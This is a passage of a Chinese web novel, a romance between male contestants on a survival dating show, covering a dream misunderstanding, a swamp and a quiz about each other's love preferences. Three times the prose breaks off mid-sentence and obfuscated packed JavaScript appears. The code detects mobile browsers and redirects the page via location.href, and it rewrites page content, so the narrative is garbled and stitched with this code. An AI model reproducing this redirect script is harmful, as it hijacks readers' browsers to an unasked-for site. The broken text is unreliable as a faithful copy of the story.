就在这时,似乎是因为睡觉的姿势不太舒服,那人的眉心轻轻蹙了蹙,被韩睿霖敏锐地察觉到了。 他小心翼翼地托住对方的脑袋,以一种极其别扭的姿势挤到了秦璟沅的身后,脑袋立刻被坚硬粗糙的树皮硌了下。 他不禁有些佩服,这种情况下,都能睡着啊? 等韩睿霖调整好坐姿,便将秦璟沅的后脑勺搭在了自己的胸口。深吸几口气,他努力放松了胸部的肌肉,让它变得柔软起来。 犹豫了会儿,他抿着唇,用手臂悄悄环住了男人的腰,顺便把那件机车外套盖在了秦璟沅的身上。 他只是在报答而已。 感受着手底下的触感,韩睿霖皱起眉,磨了磨牙,又开始担心起来: 明明上半身看起来挺结实的,腰怎么这么细呢?难道他平常吃得不好么?还好意思让人叫哥,连自己都照顾不好! 偏偏野外不好找食材。算了,节目上他还是多看着点儿吧。 想了一大堆有的没的,韩睿霖低下头,用脸颊轻轻地贴着胸前人的发顶,环着他的身体,阖上了眼。 想着夜晚的林间可能会有危险,必须有一个人随时警惕着,韩睿霖本打算只是闭目养神的。然而,闻着鼻尖淡淡的草木香味,抱着怀里的人,他不自觉地睡了过去。 外头的雨势渐渐小了,细密的雨丝如缠绕的银线,编织着截然不同的梦境。 8. 这是噩梦吧 黎明温柔地掀开夜幕,第一缕阳光从芭蕉叶片之间的缝隙洒下,落在韩睿霖的脸上。 他微微睁开眼,就对上了一双放大的眼瞳,里头似是揉了掰碎的金。对方的手臂正撑在他的脑袋两侧,一眨不眨地盯着他瞧。 两人靠得极近,鼻尖几乎相碰。 而韩睿霖发现自己不知何时,从树干上滑了下来,整个人躺在了草堆里。护住心脏的两侧肋骨,传来“咚咚”的撞击声。 在他的视线中,秦璟沅淡色的饱满唇瓣,离自己的越来越近。对方脸颊上细小的绒毛,都被晨曦覆上了一层柔柔的金光。 指尖用力,韩睿霖知道自己该躲开的,他又不是真的同/性/恋。当初,他只是冲着这个节目的求生标签来的,对男人是一点儿也不感兴趣啊! 谈恋爱,还是要找香香软软,需要自己保护的女人才对。 地上的草茎被抠破,渗出的汁水染绿了韩睿霖的指甲。他感觉自己的身体仿佛被什么诡异的力量定住了,只能眼睁睁地看着秦璟沅即将贴上他的唇。 自己昨夜出于报恩的缘故,照顾了他一些。可这人就这样水灵灵地坠入爱河,爱上了他? 这...这不太好吧! 眼睫颤抖,他阖上眼睛。 在此之前,秦璟沅那双琥珀色凤眼里,惯常覆着一层冷淡的雾。 而就在刚才,韩睿霖看见那雾散开,展露出底下温柔的眸光,仿若加了一大勺浓稠的蜜糖,将他胸腔周围的动脉都死死黏在了一起,企图阻止心脏蹦出去。 其实,秦璟沅长得这么好看,虽然是男人,就亲一下,也不是不... “嘶——” 昨夜受伤的手臂处,传来刺骨的剧痛,韩睿霖忍不住再次发出吸气声。 睁开眼,就见刚刚还撑在自己身上,柔情似水地打算亲他的男人,正面无表情地蹲在他的旁边,用手掐着那块伤处。 “不是吧,你也太残忍了,居然二次伤害。” 坐直上半身,韩睿霖躲开秦璟沅的手,捂住受伤的小臂控诉道,眼睛却迟迟不敢看人。 撑着膝盖站起来,秦璟沅神态自然地抚平自己衬衣上的褶皱,语气镇定: “看你做噩梦,好心叫醒你罢了。” 嘴巴撅那么高,眼睫毛颤得跟电动按摩仪似的,旁边的草皮也都快被韩睿霖抓秃噜皮了。 这梦应该很可怕? 忽略心头涌上的那一点点失落与不舍,韩睿霖不自然地转过身,干巴巴地回了句: “是...是吗?那谢了啊。” 对他来说,这怎么不算是一个噩梦呢?从小到大,韩睿霖都没做过这么可怕的梦,如此真实,连心跳过速的阵痛都能感受到。 搞得他现在都无法直视秦璟沅,只要一想起梦中的画面,他就会忍不住望向对方的嘴唇。 这也太难受了,他昨天也没吃蘑菇啊? 事实上,韩睿霖胸腔传来的痛感并不是他的幻觉,而是真实存在的。罪魁祸首,自然是秦律师。 他也正暗自可惜着,刚才的一切居然只是个梦境。梦里,秦璟沅在海岛的山洞里,发现了一个古朴的大木箱。箱子外侧,则被坚固的锁链层层缠绕着。 第六感告诉他,这里面绝对有宝贝。 可秦璟沅手边没有工具。他便直接采取了最原始的方式,就是用蛮力砸开。五指握拳,秦璟沅砸了好几下。 奇怪的是,这锁链的触感极为柔软,还富有弹性,一下子就被秦璟沅徒手砸开了。 打开木箱,里面跃出大片金光。他抬起手,遮挡着那刺目的光。放下时,就被满满一箱的金条震惊到。 正当秦律师心情愉悦地数着金条时,他发现脚下的地开始震动,似乎是地震了。没等他反应过来,地面瞬间裂开一条大缝。 金条和秦璟沅一起掉了进去。 醒来时,他就趴在韩睿霖的身上,眼前只有顶上不值钱的芭蕉叶。一颗雨珠沿着缝隙,滴到了秦璟沅的唇边。 果然天上是不会掉馅饼的。如果掉了,那一定是人在做梦。只是有时候,万年打工人秦律师表示: 他真心想要拿点馅饼吃吃。 这样一来,他就能提前宣布退休。秦璟沅已经给自己提前找好了养老院,就在京市的郊区,环境清幽,护工的业务水平也很高。 毕竟秦璟沅不会有后代,也不打算结婚,应该没人愿意给他养老,不得不提早为自己打算。 有生之年,他一定要躺在太阳底下喝茶、数钱,然后数不清,却不是因为老花眼,而是太多了。 对于把自己从美梦里弄醒的韩睿霖,秦璟沅觉得他已经下手很轻,还顺便让人逃离了噩梦呢! 转过身,秦璟沅便想要走出这个临时的遮雨处,可他的手腕立刻又被人匆忙地拽住了。 随之而来的,还有韩睿霖近乎尖锐的叫声: “啊不,等等——你就这么走出去?外面的树上还有摄像头呢!” 顺着他的视线,秦璟沅侧头看向自己的后背。由于视角原因,他看不清现如今的状况。想起昨夜在火堆旁烘衣服时,衬衫背面发现的那几条破口,他有些了然。 应该是在引开野猪的时候,被锋利的獠牙刮破的,幸而没伤到皮肤。 “很明显么?” 将手背到身后,秦璟沅随意地摸了摸,指尖刚好触到一片冰凉的皮肤。啊,口子确实有点大。 这已经不仅仅是明显了,简直是惹人犯罪啊犯罪! 用右手掌心捂住自己的脸,韩睿霖的目光却从指缝里偷偷飘过来。想看,又不敢看,但还是看了。 纯黑的衬衫背面,有着三条破口,最宽的几近三个指节。底下露出大片如玉的肌肤,似是添了高光亮粉的白色油彩绘制而成。背肌之间一道凹陷的脊椎沟,隐匿在山峦之中,沟壑下方还有个若隐若现的腰窝。 这样的半遮半掩,比昨夜光裸的上半身更令人难以把持。至少韩睿霖在做了那个梦之后,几乎已经无法再用平常心来看待秦璟沅了。 即使那上面布满灰白色的伤痕,他依旧觉得是如此美丽,与性感。 可一想到这样的他,还会被屏幕外面的万千观众看去,韩睿霖发烫的耳垂便瞬间冷却下来。 绝对不行。 “我说,别太明显了,快穿上!” 大步走到秦璟沅身后,韩睿霖把自己那件红白相间的机车外套披到他身上,严严实实地挡住了对方的背部。 而他则继续穿着那件黑色的工字背心,此时只能包住上半身的胸肌,大咧咧地敞着腹肌。反正韩睿霖在海边经常只穿一条沙滩裤,无所谓遮不遮。 不然,他也不会晒得这样黑了。 对于韩睿霖比本人还要在意的态度,秦璟沅并不想深究。或许是有代沟吧,他有时真不太理解这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338967|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些家伙脑子里在想些什么。 明明韩睿霖这身才更夸张,不仅只剩一半布料,还勒得极紧,饱满的弧形像是两个硬土丘陵,跟多加了一层皮肤没什么区别。 算了,可能是想在观众面前秀好身材,怕被自己抢了风头。 低头看了眼自己这身装扮,秦律师觉得有些新奇。他还没穿过这种风格的衣服,实在是太过张扬恣意,令他一时难以适应。 一旁的韩睿霖正用手捏着下巴,满意地打量着,心头的小人疯狂撒花转圈: 芜湖!是和之前完全不同的,另一种意义上的帅,他的眼光可太牛啦! 更关键的是,秦璟沅现在没有戴眼镜,狭长的眼型显得更加锋利,一改原本的内敛,隐隐含了些锐气。 “先去找南砚和苏弘嘉。” 抬头看了眼天上的太阳,秦璟沅朝着东边走去。他的眼镜和物资挎包还放在山洞里,匕首也得还给苏弘嘉。 “行吧,听你的。” 想到要和另外两个人一起,韩睿霖的兴致不大高。但他也不想再和对方唱反调,破坏昨夜好不容易拉近的关系。 两臂交错,压在脑后。他背着先前的芭蕉袋,长腿随意地迈着,紧紧跟在秦璟沅身后。却始终比他落后了一小步,牢牢地护在他的身侧。 在两人朝着东边走去时,另一边的山洞里,苏弘嘉和南砚正面面相觑着,沉默得像是两座石灰岩雕塑。 中间的火堆也早已熄灭,只剩黑色的灰碳。 昨天晚上,三人本在分吃兔肉。山洞外面的雨声里,突然混入了一些其他的声音。是地上的泥水被溅起来,打在树叶上,还有沉闷的撞击声,非常凌乱,像是节拍错乱的急促鼓点。 这绝不是简单的风雨能造成的。 这个岛上,除了他们,还有最初那个单独离开的银发男人——韩睿霖。 什么样的情况下,会让一个人在漆黑的暴雨夜,独自于树林中慌乱地奔跑呢?那个猜测,三人自然都想到了。 是遇到了不知名的危险。 但是,南砚之前和韩睿霖就闹得很不愉快,也没能力在雨夜里救人,还会把自己搭进去,得不偿失。 他是个趋利避害的人。 而苏弘嘉潜意识里,还是以保护人民为第一要义,起身就想朝外跑去,身上的伤却让他迟疑了片刻。 他真的可以救人吗? 就在这时,苏弘嘉的手里被人塞了两个挎包。 没有任何犹豫,秦璟沅摘掉眼镜,把穿着兔肉的树枝插进土里,顺势拿起地上的匕首就越过苏弘嘉跑出山洞。 只匆忙地留下一句话: “借下刀,替我看着。” 作出救人的决定时,秦璟沅其实想了很多。或许他的做法会被认为是圣父心泛滥,可他对自身的能力有着非常清楚的认识。 既然他能够救下人,且不会让自己陷入困境,那么,他便不会犹豫。 况且,如果韩睿霖出了事,以他的家世,这个节目也会受到影响,还会牵连背后更多的人。其中,就有无数打工人。 最重要的是,秦律师还没到手的钱也会泡汤。因此,这正是一个成年人,均衡利弊的结果。 一整晚,秦璟沅都没有回来。 这导致苏弘嘉和南砚两人根本没心情再悠闲地进食,不约而同地皱眉望着洞外的暴雨。 希望他能没事吧。 9. 沼泽问答 等秦璟沅带人回到原先的山洞时,太阳已经从地平线彻底升起,向正南方向偏了一半,大概是上午9点。 他远远发现,苏弘嘉两人居然一直在原地等他,没有选择提前离开。 如果是秦璟沅自己,在不知道对方会不会回来,或者会隔多久回来,他不会过多浪费时间。 掀开盖在洞外的藤蔓,秦璟沅俯身迈进山洞,就见苏弘嘉利落地站起身,将手里的两个挎包递给了他。 布料上还隐隐带着热度,似乎是被抱了一夜。 在他抬起头时,就听见那个沉默寡言的男人低声说了句: “替你看着。”只是四个字,意味不明。 当时情况紧急,秦璟沅只是随便说了句什么,自己都忘了,也就不知道苏弘嘉现在是什么意思。 他只是慢悠悠地点了点头,接过挎包道了声谢。这人虽然话少,但感觉还挺靠谱,是个好队友。 “秦哥,你这是发生什么了?” 眼角瞥见苏弘嘉张开嘴,似乎想要再说些什么,南砚提前开口打断,率先上前开始关心。 只是过了一夜,秦律师怎么就变成这副模样了?简直像是座从泥里打捞出来的玉雕。 更令南砚有些心梗的是,他的身上居然还穿着那个土鳖大少的外套。放在恋综上,实在是有些太过暧昧了! 到底发生了什么?才让这两个人的关系进展得这样迅速。南砚觉得自己像是个错过了重点剧情的配角,急得心头抓耳挠腮。 但是,表面上他只是蹙着眉心,满脸担忧地瞧着秦璟沅。说完,他低头发现对方手腕上裹着的黑色布条,又被转移了注意力,着急地询问: “你是不是受伤了,要不要紧?一定很疼吧!让我看看...” 从南砚开口关心,到他挤过来握住自己的手反复察看,全程没超过10秒。秦璟沅一时有些没反应过来,这一个个怎么都喜欢自说自话? 刚才在回来的路上,韩睿霖就总是明里暗里地想要看看他的伤口,恢复的到底怎么样了。 烦不胜烦。为此,秦璟沅便随口说了句“有些渴了”。那人才闭上嘴,风风火火地跑进林子里,没了踪影。 和以前的那些伤相比,这区区皮外伤,秦璟沅根本没放在心上,很快就能痊愈,完全不必大惊小怪。 “没事,放开我吧。” 说完这句话,秦璟沅就想抽回自己的手。可南砚的掌心,却仍紧紧地攥着他。只是很快就被人拍掉了。 从洞外硬生生地挤进来,韩睿霖面色不愉地瞪着南砚,皮笑肉不笑地眯起眼: “哎,有些人,怎么总爱动手动脚呢?” 第二次被韩睿霖这样对待,南砚终于挂不住脸了。他捂着手背,冷冷地喊道: “韩睿霖,别以为你在外头被别人捧着,节目里就能随心所欲了,我们才不是你可以欺凌的下人。” 莫名其妙地被戴上一顶“欺凌别人”的帽子,韩睿霖大大地翻了个白眼。他用手挠了挠耳朵,讽刺地咧起嘴,露出颗尖锐的犬牙: “你可别乱说,省得观众以为我欺负残疾人。刚刚人家明明说了放开,是谁在装聋子占便宜呢?” “呀,有些人,怎么总爱打人呢?说不定背地里是个家暴狂,以后还会打对象嘞!” 这回,南砚不再气得满脸满红。他用指尖绕着自己的马尾,挑着眼尾笑得很甜。 他直接套用韩睿霖的话,反将回去。 “哈,你可真会放屁...” “韩睿霖。” 在韩睿霖臭着脸想要继续喷人时,耳畔响起了一阵冷淡的男音,将他的名字慢条斯理地咀嚼着。像是根细小的藤蔓,将他的舌头打上了一个结。 这还是秦璟沅第一次,叫他的名字。 只是叫个名字而已,韩睿霖却觉得从耳垂处,窜起了一小股电流,将他麻得有些结巴: “额,怎...怎么了?” “你可以再往里挤的。” 秦璟沅已经戴回了眼镜。他扬起唇角说道,琥珀色的凤眼里却毫无笑意,冷得像块金色的冰晶。 这个山洞本来就小,挤三个人已经很勉强了。偏韩睿霖这个大块头,还要硬往里面挤。 现在,对方不仅紧紧地抱着秦璟沅的背,手里的一堆果子还硌着他的后腰,都快把他挤到苏弘嘉怀里了。 要不是他强行稳住身体,他们仨就得狼狈地跌作一团。 “!啊,抱歉。” 这种情况下,韩睿霖竟出奇地冷静。他机械地松开手,转身走到外面,完全不注意到自己同手同脚了。 指尖还残留着起伏的触感,痒痒的。 里头的苏弘嘉,则是默默地放下刚才抬起的胳膊。他早就准备好接住秦璟沅了,可惜。 终于从狭窄的山洞里出来,秦璟沅觉得现在根本不像个求生综艺,更像是斗嘴大会。 尤其是韩睿霖和南砚两人,从见面起就不对付,跟同极磁铁似的,一碰就斥,还非要撞一撞。 将另一个挎包递给韩睿霖,秦璟沅回想起自己寥寥几根旗子,心头不满。包括先前拿到的那些,他现在只有5分,一黄三白。 这岛上的旗子,实在是太少了,效率很低。他需要更高分数的旗子。 “如果想跟着我,就闭上嘴。” 转回头,秦璟沅警告地觑了眼韩睿霖和南砚两人。前者正莫名盯着那个挎包发呆,闻言回了句: “行啊,知道了。” 而后者立刻乖乖地点点头: “好,都听秦哥的。” 又变成了那朵清丽的小白花,仿佛刚才那个冷脸和韩睿霖对嘲的人不是他。 苏弘嘉握着匕首,依旧无言地跟在众人身后。本想出口的关心,被南砚打断后,又吞了回去,再也吐不出来。 这把匕首,竟成了两人接触的唯一联系。 算了,他到底在想些什么。 朝着东北的方向走了几百米,秦璟沅在偏僻的林子里发现了一处沼泽。 这沼泽的面积极大,左右几乎看不到边缘,宛如大地被撕开的一道伤口,粘稠的泥浆如组织液一般,无声地鼓动着。 “沼泽对面的草丛里,有两面蓝色的旗子。” 这时,苏弘嘉突然出声。他的视力极佳,一眼就看到了那抹与环境格格不入的蓝。 “树枝。” 朝韩睿霖伸出手,秦璟沅记得对方刚才为了摘果子,直接折了根几近两米长的枝干。 他打算试一下沼泽的深度。 取下绑在背上的树枝,韩睿霖摸了摸枝干的表面,发现没有凸起的刺,才递给秦璟沅。 结果,他试了好几处地方,树枝的顶端都被直接没过了,说明这沼泽完全有能力把他们四个人全部吞下去。 “啊?节目组把旗子放在那里,总不可能让人拿不到吧?” 南砚有些苦恼地问,朝前几步,就想蹲到沼泽边扔一枚石头。 “离远点,有沼气。” 扯着南砚的胳膊,秦璟沅将人朝后拉。刚才,他是特意选了处泥浆流速较快的地方插树枝的。 沼泽地里有着大量植物的残体,这些有机物在缺氧条件下,被微生物分解发酵会产生有毒气体。包括臭鸡蛋味的硫化氢,吸入一定量会危害人的呼吸道,甚至神经系统。 而沼泽内水流交换频繁的,氧气含量较高,比较难以形成沼气。 难道真要放弃那两面旗子吗? 就在这时,空中落下四个绑着迷你降落伞的箱子。荧光粉红的伞身,印着许多红色的小爱心,在这片灰扑扑的地上,显得格外突兀。 节目组这是什么诡异品味。 几人朝着各自最近的箱子走去。 秦璟沅打量着那只扣在箱外的银黑色锁头。没有可以转动的数字或字母,没有钥匙孔,锁身表面只有一个小型液晶屏幕,旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338968|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有几个隐蔽的小孔,像是手机侧面的麦克风和扬声器。 这是个声控锁。 他用手触了下蓝色的屏幕,上面立刻弹出了一行字: 【三十秒后,解锁者将随机匹配到一位嘉宾。系统会为您呈现十道关于他的问题,请猜测对方的答案。得分最高的两人,将获得解锁权限。】 注意到其中的“十道题”,秦璟沅突然回想起上综艺前,向恒曾给过他一份调查问卷,说是节目组想要提前了解嘉宾的个人信息。 基本都是些与偏好,或者性格相关的问题。 原来,是在这儿等着呢。 其他人也看到了这条提示,纷纷找了块离沼泽远些的地儿坐下,准备答题。 靠在一块巨大的石头后面,秦璟沅支着一条腿,将箱子放在自己的怀里。他静静地看着上面飞速变换的头像。 三十秒眨眼间就过去了,一张证件照出现在锁身的屏幕上。看着上面那张青涩的脸,秦璟沅有些讶然。 照片上的少年穿着一身深蓝色的校服外套,拉链大大地敞开着,里面是件同款的蓝白Polo衫。 黑色的板寸头,将他深邃俊朗的五官彻底露了出来。一双漆黑的桃花眼,眼角比现在更圆润,里面隐隐闪着桀骜的光,却被什么束缚住了,只委屈地抿着唇。 皮肤白白净净,连耳垂都透着粉,没有任何耳洞和眉钉。 啧,看起来就是好乖一小孩儿。 韩睿霖大概是高中的时候,被压抑得狠了,一到大学就开始放飞自我,变成了如今这副模样。 照片的主人,正好坐在秦璟沅那块大石头的后面。在长达三十秒的紧张磨牙后,韩睿霖如愿看见了那人的照片。 靠北,好帅。 正如韩睿霖报名时的照片,是他老爸为了给别人留下好印象选的,秦璟沅的则是他那个冤种老板向恒挑的。 是他某次出庭辩护的时候,被记者拍下的。那次案子比较大,当时在网上属实是火了一段时间。 记者只拍了秦璟沅的侧脸。然而,那双金灿的眸子,却给不少人留下了深刻的印象。 指尖隔空描摹着男人的眼睛,韩睿霖突然想起了自己那次去北极看见的极光。记忆中那束极为罕见的金色北极光,冷冽又夺目。 其中蕴含的自信与智慧,在夜幕中划出明亮的轨迹,吞噬所有黑暗,带给人无限的安心感。 不远处的南砚则有些不高兴。他甚至开始怀疑,是不是节目组在暗箱操作,故意把他和苏弘嘉分在一块儿,而让那个土鳖男和秦律师匹配到。 为了节目的话题度。 到底谁会用这么凶一张照片,来参加恋综啊摔! 屏幕上的男人,穿着一套土黄色的迷彩服。面容坚毅,五官冷硬。身形笔直,脸颊没有那道疤痕。 他的眼神极为锋利,亮得犹如审讯室里的白灯,仿佛对面是什么头号敌人。让南砚汗毛倒竖,不禁开始搓着胳膊,回忆自己从小到大做过的所有错事。 可现在的苏弘嘉,眼神经常像是一潭浑浊的死水,再也不见照片上的锋芒与正气。 与南砚不同,苏弘嘉看见自己匹配到的对象是他时,心里没什么很大的波动。或者说,他早就预料到了。 反正,他总是这样不幸。 他明明知道的。 只是苏弘嘉想起初见时,那双平静注视着自己的眼睛,还是不免有些许落寞。 那个男生,应该正在抱怨匹配到的居然是自己吧。因为南砚对秦璟沅的好感,表现得太过明显了,应该所有人都能发现。 照片上的南砚,看起来有些忧郁。头发还没如今这样长,扎了个短短的小揪揪在脑后。 不像现在,只要他看向秦璟沅,杏眼就会变得亮晶晶的,像是抹了层玻璃油,隔绝了外界的一切,只剩下那个人。 自己到底为什么来参加这个节目呢? 苏弘嘉沉默地想着。 10. 不同的恋爱观 各自匹配到问答对象后,液晶屏幕上的照片便消失了,被一行白色的系统文字代替。下一秒,秦璟沅的耳边响起道清丽的女声: “秦先生,您好。接下来,将为您展示和韩睿霖相关的第一题。” 与此同时,他听到其他人的屏幕上,传出的系统声线各不相同。不再分散注意力,秦璟沅认真地将目光落在屏幕上。 “第一题:请问你在哪一个瞬间,会突然想要恋爱?” 系统之前提出的解锁要求,是让人猜测匹配对象的答案。也就是说,秦璟沅要猜测韩睿霖对于这个问题的回答。 可是,这种关于其他人的开放性问题,如果没有选项,难度是否有些太大了? 似乎是听到了秦璟沅的疑惑,系统屏幕上紧接着提供了四个选项: 【A.比赛拿到冠军时;B.孤独寂寞时;C.无人理解欣赏时;D.比赛命悬一线时。】 “回答时,请完整念出选项内容。” 快速扫了眼屏幕上的文字,秦璟沅认为前三种时刻,都很有可能会让人产生想要找个对象的心情。 而两人相处时间不长,他对那人并不是非常了解。秦璟沅只能凭借自己对韩睿霖性格的初步把握,来回答问题了。 “选D,比赛命悬一线时。” 要说其中哪个答案最奇怪,毫无疑问就是第四个。一般说来,“想要恋爱”这种情感的产生,往往基于心理层面的触动。 例如A的分享欲,B的被陪伴欲,以及C的被认可欲。 可是,D选项所代表的却是生死攸关的时刻。在这种情况下,正常人怎么会不首先关注自身的安危,以及如何脱离危险,而是想要谈恋爱呢? 秦璟沅认为越不正常,就越可能是韩睿霖这家伙的答案,就像对方特立独行的穿着打扮。 果然,屏幕上立刻发出了“Bingo”的提示音,说明秦璟沅回答正确。 他觉得自己好像知道该怎么获胜了。 石头背面的韩睿霖,正在一心二用着。他一边回答屏幕上的问题,一边高高竖起耳朵,关注着秦璟沅那边的动静。 四个人的问题都是一样的,但选项并不是完全相同。节目组会根据本人的答案,进行适当的调整。 他本还在因为回答错误而可惜着,没想到,秦璟沅第一题的答案会这么奇怪。居然有人会在退休后,才想要谈恋爱?哪里来的老年恋爱? 这意味着,对方事业期间根本不想要恋爱啊!那他怎么还来参加恋综,难不成也把这节目当成了一份工作来完成吗? 韩睿霖胡思乱想着,并不知道自己其实触到了真相。听见秦璟沅连续答对好几题,他又莫名有些耳热。 啊,对方怎么会这么了解自己?!! 接下来的五道题,基本也都是关于恋爱的。秦璟沅一开始还会疑惑: 这节目组到底怎么回事,居然这么八卦。为什么光挑问卷里的恋爱题问? 现在,他已经逐渐开始麻木。尤其是韩睿霖的那些奇葩答案,让秦璟沅只想让他别谈恋爱了,没有人抗得住。 别人谈恋爱要钱,他是要命。 例如,问到理想的约会场景,韩睿霖渴望能在亚马逊草原的高空,最好是从直升机一跃而下,两人可以牵着手。 风声呼啸,大地蔓延。 问到希望恋人具备的品质,韩睿霖表示自己想找个能依赖自己,小鸟依人的文静型。这明显和前面的答案矛盾。 小鸟依人的,能和他在高空跳伞约会吗?至少得找个大鹏级别的鸟。 秦律师之所以如此不满,是因为这题他回答错了。他以为韩睿霖连理想型,都会和别的男人非常不同。 结果还是落于俗套。 目前,秦璟沅已经错了一道,对了五道。屏幕上继续响起了那道女声: “第七题:上/床时,你最喜欢看恋人的哪个部位?” 这让秦璟沅怔愣了片刻。他的记性很好,当初的问卷上,根本就没有这种尺度的问题。 这说明,节目组把其中的某个问题换了个外壳,重新将答案套了进去。 【A.胸;B.屁股;C.腿;D.眼睛。】 轻蹙眉心,秦璟沅犹豫着低声回道: “D.眼睛。” 如果这回再错误,他将会把韩睿霖打上俗人的标签。 “Bingo!” 倒是没有令秦璟沅失望。不过,对方竟然是个纯情挂,果然还是个毛头小子。 “第八题:说出一件你只敢在最爱的人面前做的事。” 问题又变得正常了。 【A.洗完澡,围着浴巾跳芭蕾;B.躺在地上,打滚撒娇;C.撅着嘴巴,嚎啕大哭;D.脱光衣服,炫耀身材。】 秦璟沅决定收回前一句话,这太不正常了。他觉得每个选项,都像是韩睿霖会做出来的事。 他的视线在D选项徘徊了好几秒。前面三个,秦璟沅只是想象一下,就感觉自己的眼睛要瞎了。 “D.脱...光衣服,炫耀身材。” “Wrong!秦先生,韩睿霖只敢在最爱的人面前,撅着嘴巴,嚎啕大哭哟~” 为什么还有诡异的尾音? 所以,秦璟沅又错了。 他现在就想让人嚎啕大哭。但是,秦璟沅很快便收回了这个危险的想法,这样的报复太幼稚。 还剩两道题。 “第九题:你会愿意为了爱人改变自己吗?” 居然变成了判断题,一半一半的概率。秦璟沅猜测这是节目组为了避免嘉宾前面错的太多,给的送分题。 “不会。” “Bingo!” 韩睿霖的理想恋人,是小鸟依人的文静型,还要能依赖他。明显就是那种会自愿顺从他的人。 他又怎么会为了爱人去改变自己呢? “第十题:你的性取向是?” 当时秦璟沅在问卷上看到这个问题时,还觉得挺冒犯的。性取向对于个别人来说,是个极为私密的事。 如果不想撒谎的话。 但是,韩睿霖的性取向应该还是挺明显的? “性取向为女。” “Bingo!” 等到所有人回答完毕,锁身的屏幕变成了黑色。随后,上面出现了四个人的分数排行。 第一名:秦璟沅(8分) 第二名:南砚(5分) 第三名:苏弘嘉(3分) 第四名:韩睿霖(0分) 站起身,秦璟沅朝石头后面看了眼。这次问答比赛的第四名,已经彻底褪色,和石头融为一体了。 在有判断题的情况下,韩睿霖还能得0分,不得不说,也是一种本事呢。 秦律师本人是毫无愧疚。他完全不觉得是因为自己的答案比对方还要奇怪,才会导致现在这个局面。 蹲在原地,韩睿霖把脑袋埋在膝盖上。他根本没心思去看比赛结果,脑海里还在回忆刚才听到的那些选项。 前面的问题,他无一例外,全部答错了。问到秦璟沅理想的约会场景,韩睿霖回答的很快,几乎是一看见“养老院”那个选项,他就开口了。 既然对方退休后才想谈恋爱,那绝对是想在养老院约会吧? 结果答案是:便利店。 韩睿霖的桃花眼里,是大大的问号。 谈到理想型,他充满自信,选择了其中最优秀的那个。那样的人,喜欢的也该是最好的。 又错了。韩睿霖开始幻视高中考数学试卷的时候,那种蒙啥啥错的恐怖即视感。 秦璟沅喜欢乖巧听话的,倒是和自己有点相似。但他居然还卡智商,这是韩睿霖没想到的。所以说,考试不及格的人,就不配和对方谈恋爱的是吧? 听到第七题,韩睿霖瞪大了眼。靠啊,这种问题是能问的吗?他不想承认,自己其实挺好奇秦璟沅的答案。 他挑了一个比较保守的选项——脸。潜意识里,韩睿霖莫名不想将那个人和性联系在一起。 不出所料,第七个“Wrong!”在他的耳畔响起。或许是韩睿霖的错觉,他发现这次的系统声音变得有些尖锐,像是在崩溃。 对于这个问题,秦璟沅的答案是脖颈,这个人体极为脆弱的部位。而韩睿霖已经放弃尝试去理解对方了。 总觉得脖子凉飕飕的。 看到第八题,韩睿霖有一瞬间想要挖个洞钻进去。完球了,自己之前写的是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以,秦璟沅其实不怎么想谈恋爱,光是工作就已经耗尽他全部心力。更别提还要和别人建立亲密关系,无时无刻都要换位思考,考虑对方的感受。 真的很麻烦。 当然秦璟沅的这些想法,韩睿霖是完全无法猜到的。在他看来,爱情根本没那么重要,至少不如他的赛车女武神,不值得自己去改变。 不过,前面九道题带给韩睿霖的冲击力,都没有最后一道大。他不敢相信,自己连秦璟沅的性取向都能答错。 他以为对方肯定是喜欢女人的啊,不然...难道,秦璟沅喜欢男人吗?!! 捂住胸口,韩睿霖抑制着自己的心跳。该死的,为什么这么不听话?喜不喜欢男人,关他什么事。 然后,他听见了“无性恋”三个字。 韩睿霖放下手,死鱼眼里写满了问号:嗯?什么玩意儿?? 秦璟沅真不是神像变的吗?这岂不是意味着,对方从小到大,基本没有过性冲动。毕竟无性恋意味着,他对男的女的都没有感觉啊? 是个彻底的性冷淡,嗯,不会是不行吧? 甩了甩脑袋,韩睿霖连忙把这个罪过的念头压下去。不对,基本的生理反应肯定是有的,应该是和情感完全割裂了。 这样一番辛苦的答题后,韩睿霖完美地收获了一个零蛋。他有些不甘地抬起头,凝视着石头另一侧露出的那抹黑色发丝。 想要知道更多。 垂下眼睫,韩睿霖死死地盯住屏幕上的“0”,以及秦璟沅名字后面的“8”,心底无比失落。 差距是如此得鲜明。 即使两人相处的时间很短,秦璟沅依然轻而易举地掌握了他。而自己却是什么都不知道,像个百分百的蠢货一样。 察觉到背后的目光,韩睿霖立刻站起身,直直地对了上去。他不是会认输的人。 在秦璟沅的视线里,银发男人拍了拍怀里的箱子,扯起唇角,露出个散漫的笑来: “抱歉,这次是失误。下一次,我绝对,绝对会更加了解你的!” 比你了解我还要多。 这种奇怪的胜负欲,就不必了吧? 11. 他的感情 在宣布了问答比赛的获胜者后,秦璟沅和南砚手中的箱子,传来“咔哒”一声,锁掉到了地上。 